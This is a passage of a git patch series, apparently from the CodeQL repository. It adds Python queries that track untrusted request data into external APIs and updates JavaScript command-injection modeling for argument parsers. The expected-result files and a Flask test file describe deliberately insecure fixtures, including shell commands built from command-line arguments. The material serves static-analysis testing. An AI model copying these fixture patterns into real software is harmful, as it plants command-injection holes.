semmle.python.objects.ObjectInternal + +// IMPLEMENTATION NOTES: +// +// This query uses *both* the new data-flow library, and points-to. Why? To get this +// finished quickly, so it can provide value for our field team and ourselves. +// +// In the long run, it should not need to use points-to for anything. Possibly this can +// even be helpful in figuring out what we need from TypeTrackers and the new data-flow +// library to be fully operational. +// +// At least it will allow us to provide a baseline comparison against a solution that +// doesn't use points-to at all +// +// There is a few dirty things we do here: +// 1. DataFlowPrivate: since `DataFlowCall` and `DataFlowCallable` are not exposed +// publicly, but we really want access to them. +// 2. points-to: we kinda need to do this since this is what powers `DataFlowCall` and +// `DataFlowCallable` +// 3. ObjectInternal: to provide better names for built-in functions and methods. If we +// really wanted to polish our points-to implementation, we could move this +// functionality into `BuiltinFunctionValue` and `BuiltinMethodValue`, but will +// probably require some more work: for this query, it's totally ok to use +// `builtins.open` for the code `open(f)`, but well, it requires a bit of thinking to +// figure out if that is desireable in general. I simply skipped a corner here! +// 4. TaintTrackingPrivate: Nothing else gives us access to `defaultAdditionalTaintStep` :( +/** + * A callable that is considered a "safe" external API from a security perspective. + */ +class SafeExternalAPI extends Unit { + abstract DataFlowPrivate::DataFlowCallable getSafeCallable(); +} + +/** The default set of "safe" external APIs. */ +private class DefaultSafeExternalAPI extends SafeExternalAPI { + override DataFlowPrivate::DataFlowCallable getSafeCallable() { + exists(CallableValue cv | cv = result.getCallableValue() | + cv = Value::named(["len", "isinstance", "getattr", "hasattr"]) + or + exists(ClassValue cls, string attr | + cls = Value::named("dict") and attr in ["__getitem__", "__setitem__"] + | + cls.lookup(attr) = cv + ) + ) + } +} + +/** A node representing data being passed to an external API through a call. */ +class ExternalAPIDataNode extends DataFlow::Node { + DataFlowPrivate::DataFlowCall call; + DataFlowPrivate::DataFlowCallable callable; + int i; + + ExternalAPIDataNode() { + exists(call.getLocation().getFile().getRelativePath()) and + callable = call.getCallable() and + not any(SafeExternalAPI safe).getSafeCallable() = callable and + exists(Value cv | cv = callable.getCallableValue() | + cv.isAbsent() + or + cv.isBuiltin() + or + cv.(CallableValue).getScope().getLocation().getFile().inStdlib() + or + not exists(cv.(CallableValue).getScope().getLocation().getFile().getRelativePath()) + ) and + // TODO: this ignores some complexity of keyword arguments (especially keyword-only args) + this = call.getArg(i) and + // Not already modeled as a taint step + not exists(DataFlow::Node next | TaintTrackingPrivate::defaultAdditionalTaintStep(this, next)) and + // for `list.append(x)`, we have a additional taint step from x -> [post] list. + // Since we have modeled this explicitly, I don't see any cases where we would want to report this. + not exists(DataFlow::Node prev, DataFlow::PostUpdateNode post | + post.getPreUpdateNode() = this and + TaintTrackingPrivate::defaultAdditionalTaintStep(prev, post) + ) + } + + /** Gets the index for the parameter that will receive this untrusted data */ + int getIndex() { result = i } + + /** Gets the callable to which this argument is passed. */ + DataFlowPrivate::DataFlowCallable getCallable() { result = callable } +} + +/** A configuration for tracking flow from `RemoteFlowSource`s to `ExternalAPIDataNode`s. */ +class UntrustedDataToExternalAPIConfig extends TaintTracking::Configuration { + UntrustedDataToExternalAPIConfig() { this = "UntrustedDataToExternalAPIConfig" } + + override predicate isSource(DataFlow::Node source) { source instanceof RemoteFlowSource } + + override predicate isSink(DataFlow::Node sink) { sink instanceof ExternalAPIDataNode } +} + +/** A node representing untrusted data being passed to an external API. */ +class UntrustedExternalAPIDataNode extends ExternalAPIDataNode { + UntrustedExternalAPIDataNode() { any(UntrustedDataToExternalAPIConfig c).hasFlow(_, this) } + + /** Gets a source of untrusted data which is passed to this external API data node. */ + DataFlow::Node getAnUntrustedSource() { + any(UntrustedDataToExternalAPIConfig c).hasFlow(result, this) + } +} + +private newtype TExternalAPI = + TExternalAPIParameter(DataFlowPrivate::DataFlowCallable callable, int index) { + exists(UntrustedExternalAPIDataNode n | + callable = n.getCallable() and + index = n.getIndex() + ) + } + +/** An external API which is used with untrusted data. */ +class ExternalAPIUsedWithUntrustedData extends TExternalAPI { + /** Gets a possibly untrusted use of this external API. */ + UntrustedExternalAPIDataNode getUntrustedDataNode() { + this = TExternalAPIParameter(result.getCallable(), result.getIndex()) + } + + /** Gets the number of untrusted sources used with this external API. */ + int getNumberOfUntrustedSources() { + result = count(getUntrustedDataNode().getAnUntrustedSource()) + } + + /** Gets a textual representation of this element. */ + string toString() { + exists( + DataFlowPrivate::DataFlowCallable callable, int index, string callableString, + string indexString + | + this = TExternalAPIParameter(callable, index) and + indexString = "param " + index and + exists(CallableValue cv | cv = callable.getCallableValue() | + callableString = + cv.getScope().getEnclosingModule().getName() + "." + cv.getScope().getQualifiedName() + or + not exists(cv.getScope()) and + ( + cv instanceof BuiltinFunctionValue and + callableString = pretty_builtin_function_value(cv) + or + cv instanceof BuiltinMethodValue and + callableString = pretty_builtin_method_value(cv) + or + not cv instanceof BuiltinFunctionValue and + not cv instanceof BuiltinMethodValue and + callableString = cv.toString() + ) + ) and + result = callableString + " [" + indexString + "]" + ) + } +} + +/** Gets the fully qualified name for the `BuiltinFunctionValue` bfv. */ +private string pretty_builtin_function_value(BuiltinFunctionValue bfv) { + exists(Builtin b | b = bfv.(BuiltinFunctionObjectInternal).getBuiltin() | + result = prefix_with_module_if_found(b) + ) +} + +/** Gets the fully qualified name for the `BuiltinMethodValue` bmv. */ +private string pretty_builtin_method_value(BuiltinMethodValue bmv) { + exists(Builtin b | b = bmv.(BuiltinMethodObjectInternal).getBuiltin() | + exists(Builtin cls | cls.isClass() and cls.getMember(b.getName()) = b | + result = prefix_with_module_if_found(cls) + "." + b.getName() + ) + or + not exists(Builtin cls | cls.isClass() and cls.getMember(b.getName()) = b) and + result = b.getName() + ) +} + +/** Helper predicate that tries to adds module qualifier to `b`. Will succeed even if module not found. */ +private string prefix_with_module_if_found(Builtin b) { + exists(Builtin mod | mod.isModule() and mod.getMember(b.getName()) = b | + result = mod.getName() + "." + b.getName() + ) + or + not exists(Builtin mod | mod.isModule() and mod.getMember(b.getName()) = b) and + result = b.getName() +} diff --git a/python/ql/src/Security/CWE-020-ExternalAPIs/ExternalAPIsUsedWithUntrustedData.qhelp b/python/ql/src/Security/CWE-020-ExternalAPIs/ExternalAPIsUsedWithUntrustedData.qhelp new file mode 100644 index 00000000000..50d7d6481ab --- /dev/null +++ b/python/ql/src/Security/CWE-020-ExternalAPIs/ExternalAPIsUsedWithUntrustedData.qhelp @@ -0,0 +1,61 @@ + + + +

    Using unsanitized untrusted data in an external API can cause a variety of security +issues. This query reports external APIs that are used with untrusted data, along +with how frequently the API is used, and how many unique sources of untrusted data flow +to this API. This query is designed primarily to help identify which APIs may be +relevant for security analysis of this application.

    + +

    An external API is defined as a call to a method that is not defined in the source +code, and is not modeled as a taint step in the default taint library. External APIs may +be from the Python standard library or dependencies. The query will report the fully qualified name, +along with [param x], where x indicates the position of +the parameter receiving the untrusted data. Note that for methods and +classmethods, parameter 0 represents the class instance or class itself +respectively.

    + +

    Note that an excepted sink might not be included in the results, if it also defines a +taint step. This is the case for pickle.loads which is a sink for the +Unsafe Deserialization query, but is also a taint step for other queries.

    + +

    Note: Compared to the Java version of this query, we currently do not give special +care to methods that are overridden in the source code.

    + +

    Note: Currently this query will only report results for external packages that are extracted.

    + +
    + + +

    For each result:

    + +
      +
    • If the result highlights a known sink, no action is required.
    • +
    • If the result highlights an unknown sink for a problem, then add modeling for the sink to the relevant query.
    • +
    • If the result represents a call to an external API which transfers taint, add the appropriate modeling, and + re-run the query to determine what new results have appeared due to this additional modeling.
    • +
    + +

    Otherwise, the result is likely uninteresting. Custom versions of this query can extend the SafeExternalAPI +class and specify getSafeCallable to exclude known safe external APIs from future analysis.

    + +
    + + +

    If the query were to return the API flask.make_response [param 0] +then we should first consider whether this a security relevant sink. In this case, this is making a HTTP response, so we should +consider whether this is an XSS sink. If it is, we should confirm that it is handled by the XSS query.

    + +

    If the query were to return the API base64.decodebytes [param 0], then this should be +reviewed as a possible taint step, because tainted data would flow from the 0th argument to the result of the call.

    + +

    Note that both examples are correctly handled by the standard taint tracking library and XSS query.

    +
    + + + +
    + +Mention something about `pickle.loads(user_input)` diff --git a/python/ql/src/Security/CWE-020-ExternalAPIs/ExternalAPIsUsedWithUntrustedData.ql b/python/ql/src/Security/CWE-020-ExternalAPIs/ExternalAPIsUsedWithUntrustedData.ql new file mode 100644 index 00000000000..e2cb10c65eb --- /dev/null +++ b/python/ql/src/Security/CWE-020-ExternalAPIs/ExternalAPIsUsedWithUntrustedData.ql @@ -0,0 +1,17 @@ +/** + * @name Frequency counts for external APIs that are used with untrusted data + * @description This reports the external APIs that are used with untrusted data, along with how + * frequently the API is called, and how many unique sources of untrusted data flow + * to it. + * @id python/count-untrusted-data-external-api + * @kind table + * @tags security external/cwe/cwe-20 + */ + +import python +import ExternalAPIs + +from ExternalAPIUsedWithUntrustedData externalAPI +select externalAPI, count(externalAPI.getUntrustedDataNode()) as numberOfUses, + externalAPI.getNumberOfUntrustedSources() as numberOfUntrustedSources order by + numberOfUntrustedSources desc diff --git a/python/ql/src/Security/CWE-020-ExternalAPIs/UntrustedDataToExternalAPI.qhelp b/python/ql/src/Security/CWE-020-ExternalAPIs/UntrustedDataToExternalAPI.qhelp new file mode 100644 index 00000000000..aaeeb8dc02d --- /dev/null +++ b/python/ql/src/Security/CWE-020-ExternalAPIs/UntrustedDataToExternalAPI.qhelp @@ -0,0 +1,74 @@ + + + +

    Using unsanitized untrusted data in an external API can cause a variety of security +issues. This query reports external APIs that use untrusted data. The results are not +filtered so that you can audit all examples. The query provides data for security +reviews of the application and you can also use it to identify external APIs that should +be modeled as either taint steps, or sinks for specific problems.

    + +

    An external API is defined as a call to a method that is not defined in the source +code, and is not modeled as a taint step in the default taint library. External APIs may +be from the Python standard library or dependencies. The query will report the fully qualified name, +along with [param x], where x indicates the position of +the parameter receiving the untrusted data. Note that for methods and +classmethods, parameter 0 represents the class instance or class itself +respectively.

    + +

    Note that an excepted sink might not be included in the results, if it also defines a +taint step. This is the case for pickle.loads which is a sink for the +Unsafe Deserialization query, but is also a taint step for other queries.

    + +

    Note: Compared to the Java version of this query, we currently do not give special +care to methods that are overridden in the source code.

    + +

    Note: Currently this query will only report results for external packages that are extracted.

    + +
    + + +

    For each result:

    + +
      +
    • If the result highlights a known sink, confirm that the result is reported by the relevant query, or + that the result is a false positive because this data is sanitized.
    • +
    • If the result highlights an unknown sink for a problem, then add modeling for the sink to the relevant query, + and confirm that the result is either found, or is safe due to appropriate sanitization.
    • +
    • If the result represents a call to an external API that transfers taint, add the appropriate modeling, and + re-run the query to determine what new results have appeared due to this additional modeling.
    • +
    + +

    Otherwise, the result is likely uninteresting. Custom versions of this query can extend the SafeExternalAPI +class and specify getSafeCallable to exclude known safe external APIs from future analysis.

    + +
    + + +

    In this first example, a request parameter is read from the Flask request and then ultimately used in a call to the +flask.make_response external API:

    + + + +

    This is an XSS sink. The XSS query should therefore be reviewed to confirm that this sink is appropriately modeled, +and if it is, to confirm that the query reports this particular result, or that the result is a false positive due to +some existing sanitization.

    + +

    In this second example, again a request parameter is read from the Flask request.

    + + + +

    If the query reported the call to base64.decodebytes on line 10, this +would suggest that this external API is not currently modeled as a taint step in the +taint tracking library. The next step would be to model this as a taint step, then +re-run the query to determine what additional results might be found. In this example, +the result of the Base64 decoding is pickled, which can result in remote code execution due +to unsafe deserialization. + +

    Note that both examples are correctly handled by the standard taint tracking library and Unsafe Deserialization query.

    +
    + + + +
    diff --git a/python/ql/src/Security/CWE-020-ExternalAPIs/UntrustedDataToExternalAPI.ql b/python/ql/src/Security/CWE-020-ExternalAPIs/UntrustedDataToExternalAPI.ql new file mode 100644 index 00000000000..dfa1b1d7864 --- /dev/null +++ b/python/ql/src/Security/CWE-020-ExternalAPIs/UntrustedDataToExternalAPI.ql @@ -0,0 +1,23 @@ +/** + * @name Untrusted data passed to external API + * @description Data provided remotely is used in this external API without sanitization, which could be a security risk. + * @id python/untrusted-data-to-external-api + * @kind path-problem + * @precision low + * @problem.severity error + * @tags security external/cwe/cwe-20 + */ + +import python +import ExternalAPIs +import DataFlow::PathGraph + +from + UntrustedDataToExternalAPIConfig config, DataFlow::PathNode source, DataFlow::PathNode sink, + ExternalAPIUsedWithUntrustedData externalAPI +where + sink.getNode() = externalAPI.getUntrustedDataNode() and + config.hasFlowPath(source, sink) +select sink.getNode(), source, sink, + "Call to " + externalAPI.toString() + " with untrusted data from $@.", source.getNode(), + source.toString() diff --git a/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/ExternalAPIsUsedWithUntrustedData.expected b/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/ExternalAPIsUsedWithUntrustedData.expected new file mode 100644 index 00000000000..de9fcf05e3c --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/ExternalAPIsUsedWithUntrustedData.expected @@ -0,0 +1 @@ +| hmac.digest [param 1] | 1 | 1 | diff --git a/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/ExternalAPIsUsedWithUntrustedData.qlref b/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/ExternalAPIsUsedWithUntrustedData.qlref new file mode 100644 index 00000000000..c91bf44f815 --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/ExternalAPIsUsedWithUntrustedData.qlref @@ -0,0 +1 @@ +Security/CWE-020-ExternalAPIs/ExternalAPIsUsedWithUntrustedData.ql diff --git a/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/UntrustedDataToExternalAPI.expected b/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/UntrustedDataToExternalAPI.expected new file mode 100644 index 00000000000..748e814b06f --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/UntrustedDataToExternalAPI.expected @@ -0,0 +1,7 @@ +edges +| test.py:13:16:13:27 | ControlFlowNode for Attribute | test.py:15:38:15:41 | ControlFlowNode for data | +nodes +| test.py:13:16:13:27 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | +| test.py:15:38:15:41 | ControlFlowNode for data | semmle.label | ControlFlowNode for data | +#select +| test.py:15:38:15:41 | ControlFlowNode for data | test.py:13:16:13:27 | ControlFlowNode for Attribute | test.py:15:38:15:41 | ControlFlowNode for data | Call to hmac.digest [param 1] with untrusted data from $@. | test.py:13:16:13:27 | ControlFlowNode for Attribute | ControlFlowNode for Attribute | diff --git a/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/UntrustedDataToExternalAPI.qlref b/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/UntrustedDataToExternalAPI.qlref new file mode 100644 index 00000000000..03c06feeec8 --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/UntrustedDataToExternalAPI.qlref @@ -0,0 +1 @@ +Security/CWE-020-ExternalAPIs/UntrustedDataToExternalAPI.ql diff --git a/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/test.py b/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/test.py new file mode 100644 index 00000000000..2b62e26dc36 --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/test.py @@ -0,0 +1,35 @@ +import hashlib +import hmac +import base64 + +from flask import Flask, request, make_response +app = Flask(__name__) + +SECRET_KEY = b"SECRET_KEY" + + +@app.route("/hmac-example") +def hmac_example(): + data_raw = request.args.get("data").encode('utf-8') + data = base64.decodebytes(data_raw) + digest = hmac.digest(SECRET_KEY, data, hashlib.sha256) + print(digest) + return "ok" + + +@app.route("/unknown-lib-1") +def unknown_lib_1(): + from unknown.lib import func + data = request.args.get("data") + func(data) # TODO: currently not recognized + + +@app.route("/unknown-lib-2") +def unknown_lib_2(): + import unknown.lib + data = request.args.get("data") + unknown.lib.func(data) # TODO: currently not recognized + + +if __name__ == "__main__": + app.run(debug=True) From a83ddd66eb513094957bb08b85ef2ce46be89e6b Mon Sep 17 00:00:00 2001 From: luchua-bc Date: Thu, 26 Nov 2020 17:41:46 +0000 Subject: [PATCH 0082/1241] Add comments about how the future promotion should go --- .../Security/CWE/CWE-312/CleartextStorageSharedPrefs.ql | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/java/ql/src/experimental/Security/CWE/CWE-312/CleartextStorageSharedPrefs.ql b/java/ql/src/experimental/Security/CWE/CWE-312/CleartextStorageSharedPrefs.ql index 7d03b79882a..ddc88bda54b 100644 --- a/java/ql/src/experimental/Security/CWE/CWE-312/CleartextStorageSharedPrefs.ql +++ b/java/ql/src/experimental/Security/CWE/CWE-312/CleartextStorageSharedPrefs.ql @@ -127,6 +127,10 @@ class SharedPreferencesEditor extends MethodAccess { } } +/** + * Flow from sensitive expressions to shared preferences. + * Note it can be merged into `SensitiveSourceFlowConfig` of `Security/CWE/CWE-312/SensitiveStorage.qll` when this query is promoted from the experimental directory. + */ private class SensitiveSharedPrefsFlowConfig extends TaintTracking::Configuration { SensitiveSharedPrefsFlowConfig() { this = "CleartextStorageSharedPrefs::SensitiveSharedPrefsFlowConfig" From 821b4be522f6041c2b260fd5e0453893a9f4205e Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Thu, 26 Nov 2020 15:26:15 +0100 Subject: [PATCH 0083/1241] more accurately model command parsers that take process.argv as an argument --- .../dataflow/IndirectCommandInjection.qll | 4 ++ ...IndirectCommandInjectionCustomizations.qll | 17 ++++- .../CWE-078/IndirectCommandInjection.expected | 72 ++++++++++++++++--- ...ommand-line-parameter-command-injection.js | 18 ++++- 4 files changed, 97 insertions(+), 14 deletions(-) diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/IndirectCommandInjection.qll b/javascript/ql/src/semmle/javascript/security/dataflow/IndirectCommandInjection.qll index b0daadf3723..35bee0d0cf9 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/IndirectCommandInjection.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/IndirectCommandInjection.qll @@ -30,5 +30,9 @@ module IndirectCommandInjection { override predicate isSink(DataFlow::Node sink) { isSinkWithHighlight(sink, _) } override predicate isSanitizer(DataFlow::Node node) { node instanceof Sanitizer } + + override predicate isAdditionalTaintStep(DataFlow::Node pred, DataFlow::Node succ) { + argsParseStep(pred, succ) + } } } diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/IndirectCommandInjectionCustomizations.qll b/javascript/ql/src/semmle/javascript/security/dataflow/IndirectCommandInjectionCustomizations.qll index 2d033da8c21..8a9b28d2601 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/IndirectCommandInjectionCustomizations.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/IndirectCommandInjectionCustomizations.qll @@ -47,14 +47,25 @@ module IndirectCommandInjection { // `require('get-them-args')(...)` => `{ unknown: [], a: ... b: ... }` this = DataFlow::moduleImport("get-them-args").getACall() or - // `require('minimist')(...)` => `{ _: [], a: ... b: ... }` - this = DataFlow::moduleImport("minimist").getACall() - or // `require('optimist').argv` => `{ _: [], a: ... b: ... }` this = DataFlow::moduleMember("optimist", "argv") } } + /** + * A command line parsing step from `pred` to `succ`. + * E.g: `var succ = require("minimist")(pred)`. + */ + predicate argsParseStep(DataFlow::Node pred, DataFlow::Node succ) { + exists(DataFlow::CallNode call | + call = DataFlow::moduleMember("args", "parse").getACall() or + call = DataFlow::moduleImport(["yargs-parser", "minimist", "subarg"]).getACall() + | + succ = call and + pred = call.getArgument(0) + ) + } + /** * Gets an instance of `yargs`. * Either directly imported as a module, or through some chained method call. diff --git a/javascript/ql/test/query-tests/Security/CWE-078/IndirectCommandInjection.expected b/javascript/ql/test/query-tests/Security/CWE-078/IndirectCommandInjection.expected index 849d7f3aa2d..21374f8b871 100644 --- a/javascript/ql/test/query-tests/Security/CWE-078/IndirectCommandInjection.expected +++ b/javascript/ql/test/query-tests/Security/CWE-078/IndirectCommandInjection.expected @@ -53,11 +53,6 @@ nodes | command-line-parameter-command-injection.js:30:21:30:46 | require ... rgs")() | | command-line-parameter-command-injection.js:30:21:30:46 | require ... rgs")() | | command-line-parameter-command-injection.js:30:21:30:50 | require ... )().foo | -| command-line-parameter-command-injection.js:31:9:31:45 | "cmd.sh ... )().foo | -| command-line-parameter-command-injection.js:31:9:31:45 | "cmd.sh ... )().foo | -| command-line-parameter-command-injection.js:31:21:31:41 | require ... ist")() | -| command-line-parameter-command-injection.js:31:21:31:41 | require ... ist")() | -| command-line-parameter-command-injection.js:31:21:31:45 | require ... )().foo | | command-line-parameter-command-injection.js:32:9:32:45 | "cmd.sh ... rgv.foo | | command-line-parameter-command-injection.js:32:9:32:45 | "cmd.sh ... rgv.foo | | command-line-parameter-command-injection.js:32:21:32:41 | require ... ").argv | @@ -120,6 +115,37 @@ nodes | command-line-parameter-command-injection.js:72:10:72:27 | "cmd.sh " + taint4 | | command-line-parameter-command-injection.js:72:10:72:27 | "cmd.sh " + taint4 | | command-line-parameter-command-injection.js:72:22:72:27 | taint4 | +| command-line-parameter-command-injection.js:76:8:76:35 | args | +| command-line-parameter-command-injection.js:76:15:76:26 | process.argv | +| command-line-parameter-command-injection.js:76:15:76:26 | process.argv | +| command-line-parameter-command-injection.js:76:15:76:35 | process ... lice(2) | +| command-line-parameter-command-injection.js:79:10:79:39 | "cmd.sh ... gs).foo | +| command-line-parameter-command-injection.js:79:10:79:39 | "cmd.sh ... gs).foo | +| command-line-parameter-command-injection.js:79:22:79:35 | minimist(args) | +| command-line-parameter-command-injection.js:79:22:79:39 | minimist(args).foo | +| command-line-parameter-command-injection.js:79:31:79:34 | args | +| command-line-parameter-command-injection.js:82:10:82:54 | "cmd.sh ... 2)).foo | +| command-line-parameter-command-injection.js:82:10:82:54 | "cmd.sh ... 2)).foo | +| command-line-parameter-command-injection.js:82:22:82:50 | subarg( ... ice(2)) | +| command-line-parameter-command-injection.js:82:22:82:54 | subarg( ... 2)).foo | +| command-line-parameter-command-injection.js:82:29:82:40 | process.argv | +| command-line-parameter-command-injection.js:82:29:82:40 | process.argv | +| command-line-parameter-command-injection.js:82:29:82:49 | process ... lice(2) | +| command-line-parameter-command-injection.js:85:10:85:59 | "cmd.sh ... 2)).foo | +| command-line-parameter-command-injection.js:85:10:85:59 | "cmd.sh ... 2)).foo | +| command-line-parameter-command-injection.js:85:22:85:55 | yargsPa ... ice(2)) | +| command-line-parameter-command-injection.js:85:22:85:59 | yargsPa ... 2)).foo | +| command-line-parameter-command-injection.js:85:34:85:45 | process.argv | +| command-line-parameter-command-injection.js:85:34:85:45 | process.argv | +| command-line-parameter-command-injection.js:85:34:85:54 | process ... lice(2) | +| command-line-parameter-command-injection.js:88:8:88:39 | flags | +| command-line-parameter-command-injection.js:88:16:88:39 | args.pa ... s.argv) | +| command-line-parameter-command-injection.js:88:27:88:38 | process.argv | +| command-line-parameter-command-injection.js:88:27:88:38 | process.argv | +| command-line-parameter-command-injection.js:89:10:89:30 | "cmd.sh ... ags.foo | +| command-line-parameter-command-injection.js:89:10:89:30 | "cmd.sh ... ags.foo | +| command-line-parameter-command-injection.js:89:22:89:26 | flags | +| command-line-parameter-command-injection.js:89:22:89:30 | flags.foo | edges | command-line-parameter-command-injection.js:4:10:4:21 | process.argv | command-line-parameter-command-injection.js:4:10:4:21 | process.argv | | command-line-parameter-command-injection.js:8:22:8:33 | process.argv | command-line-parameter-command-injection.js:8:22:8:36 | process.argv[2] | @@ -169,10 +195,6 @@ edges | command-line-parameter-command-injection.js:30:21:30:46 | require ... rgs")() | command-line-parameter-command-injection.js:30:21:30:50 | require ... )().foo | | command-line-parameter-command-injection.js:30:21:30:50 | require ... )().foo | command-line-parameter-command-injection.js:30:9:30:50 | "cmd.sh ... )().foo | | command-line-parameter-command-injection.js:30:21:30:50 | require ... )().foo | command-line-parameter-command-injection.js:30:9:30:50 | "cmd.sh ... )().foo | -| command-line-parameter-command-injection.js:31:21:31:41 | require ... ist")() | command-line-parameter-command-injection.js:31:21:31:45 | require ... )().foo | -| command-line-parameter-command-injection.js:31:21:31:41 | require ... ist")() | command-line-parameter-command-injection.js:31:21:31:45 | require ... )().foo | -| command-line-parameter-command-injection.js:31:21:31:45 | require ... )().foo | command-line-parameter-command-injection.js:31:9:31:45 | "cmd.sh ... )().foo | -| command-line-parameter-command-injection.js:31:21:31:45 | require ... )().foo | command-line-parameter-command-injection.js:31:9:31:45 | "cmd.sh ... )().foo | | command-line-parameter-command-injection.js:32:21:32:41 | require ... ").argv | command-line-parameter-command-injection.js:32:21:32:45 | require ... rgv.foo | | command-line-parameter-command-injection.js:32:21:32:41 | require ... ").argv | command-line-parameter-command-injection.js:32:21:32:45 | require ... rgv.foo | | command-line-parameter-command-injection.js:32:21:32:45 | require ... rgv.foo | command-line-parameter-command-injection.js:32:9:32:45 | "cmd.sh ... rgv.foo | @@ -226,6 +248,33 @@ edges | command-line-parameter-command-injection.js:71:20:71:40 | require ... ').argv | command-line-parameter-command-injection.js:71:6:71:16 | [...taint4] | | command-line-parameter-command-injection.js:72:22:72:27 | taint4 | command-line-parameter-command-injection.js:72:10:72:27 | "cmd.sh " + taint4 | | command-line-parameter-command-injection.js:72:22:72:27 | taint4 | command-line-parameter-command-injection.js:72:10:72:27 | "cmd.sh " + taint4 | +| command-line-parameter-command-injection.js:76:8:76:35 | args | command-line-parameter-command-injection.js:79:31:79:34 | args | +| command-line-parameter-command-injection.js:76:15:76:26 | process.argv | command-line-parameter-command-injection.js:76:15:76:35 | process ... lice(2) | +| command-line-parameter-command-injection.js:76:15:76:26 | process.argv | command-line-parameter-command-injection.js:76:15:76:35 | process ... lice(2) | +| command-line-parameter-command-injection.js:76:15:76:35 | process ... lice(2) | command-line-parameter-command-injection.js:76:8:76:35 | args | +| command-line-parameter-command-injection.js:79:22:79:35 | minimist(args) | command-line-parameter-command-injection.js:79:22:79:39 | minimist(args).foo | +| command-line-parameter-command-injection.js:79:22:79:39 | minimist(args).foo | command-line-parameter-command-injection.js:79:10:79:39 | "cmd.sh ... gs).foo | +| command-line-parameter-command-injection.js:79:22:79:39 | minimist(args).foo | command-line-parameter-command-injection.js:79:10:79:39 | "cmd.sh ... gs).foo | +| command-line-parameter-command-injection.js:79:31:79:34 | args | command-line-parameter-command-injection.js:79:22:79:35 | minimist(args) | +| command-line-parameter-command-injection.js:82:22:82:50 | subarg( ... ice(2)) | command-line-parameter-command-injection.js:82:22:82:54 | subarg( ... 2)).foo | +| command-line-parameter-command-injection.js:82:22:82:54 | subarg( ... 2)).foo | command-line-parameter-command-injection.js:82:10:82:54 | "cmd.sh ... 2)).foo | +| command-line-parameter-command-injection.js:82:22:82:54 | subarg( ... 2)).foo | command-line-parameter-command-injection.js:82:10:82:54 | "cmd.sh ... 2)).foo | +| command-line-parameter-command-injection.js:82:29:82:40 | process.argv | command-line-parameter-command-injection.js:82:29:82:49 | process ... lice(2) | +| command-line-parameter-command-injection.js:82:29:82:40 | process.argv | command-line-parameter-command-injection.js:82:29:82:49 | process ... lice(2) | +| command-line-parameter-command-injection.js:82:29:82:49 | process ... lice(2) | command-line-parameter-command-injection.js:82:22:82:50 | subarg( ... ice(2)) | +| command-line-parameter-command-injection.js:85:22:85:55 | yargsPa ... ice(2)) | command-line-parameter-command-injection.js:85:22:85:59 | yargsPa ... 2)).foo | +| command-line-parameter-command-injection.js:85:22:85:59 | yargsPa ... 2)).foo | command-line-parameter-command-injection.js:85:10:85:59 | "cmd.sh ... 2)).foo | +| command-line-parameter-command-injection.js:85:22:85:59 | yargsPa ... 2)).foo | command-line-parameter-command-injection.js:85:10:85:59 | "cmd.sh ... 2)).foo | +| command-line-parameter-command-injection.js:85:34:85:45 | process.argv | command-line-parameter-command-injection.js:85:34:85:54 | process ... lice(2) | +| command-line-parameter-command-injection.js:85:34:85:45 | process.argv | command-line-parameter-command-injection.js:85:34:85:54 | process ... lice(2) | +| command-line-parameter-command-injection.js:85:34:85:54 | process ... lice(2) | command-line-parameter-command-injection.js:85:22:85:55 | yargsPa ... ice(2)) | +| command-line-parameter-command-injection.js:88:8:88:39 | flags | command-line-parameter-command-injection.js:89:22:89:26 | flags | +| command-line-parameter-command-injection.js:88:16:88:39 | args.pa ... s.argv) | command-line-parameter-command-injection.js:88:8:88:39 | flags | +| command-line-parameter-command-injection.js:88:27:88:38 | process.argv | command-line-parameter-command-injection.js:88:16:88:39 | args.pa ... s.argv) | +| command-line-parameter-command-injection.js:88:27:88:38 | process.argv | command-line-parameter-command-injection.js:88:16:88:39 | args.pa ... s.argv) | +| command-line-parameter-command-injection.js:89:22:89:26 | flags | command-line-parameter-command-injection.js:89:22:89:30 | flags.foo | +| command-line-parameter-command-injection.js:89:22:89:30 | flags.foo | command-line-parameter-command-injection.js:89:10:89:30 | "cmd.sh ... ags.foo | +| command-line-parameter-command-injection.js:89:22:89:30 | flags.foo | command-line-parameter-command-injection.js:89:10:89:30 | "cmd.sh ... ags.foo | #select | command-line-parameter-command-injection.js:4:10:4:21 | process.argv | command-line-parameter-command-injection.js:4:10:4:21 | process.argv | command-line-parameter-command-injection.js:4:10:4:21 | process.argv | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:4:10:4:21 | process.argv | command-line argument | | command-line-parameter-command-injection.js:8:10:8:36 | "cmd.sh ... argv[2] | command-line-parameter-command-injection.js:8:22:8:33 | process.argv | command-line-parameter-command-injection.js:8:10:8:36 | "cmd.sh ... argv[2] | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:8:22:8:33 | process.argv | command-line argument | @@ -238,7 +287,6 @@ edges | command-line-parameter-command-injection.js:26:14:26:50 | `node $ ... ption"` | command-line-parameter-command-injection.js:24:15:24:26 | process.argv | command-line-parameter-command-injection.js:26:14:26:50 | `node $ ... ption"` | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:24:15:24:26 | process.argv | command-line argument | | command-line-parameter-command-injection.js:27:14:27:57 | 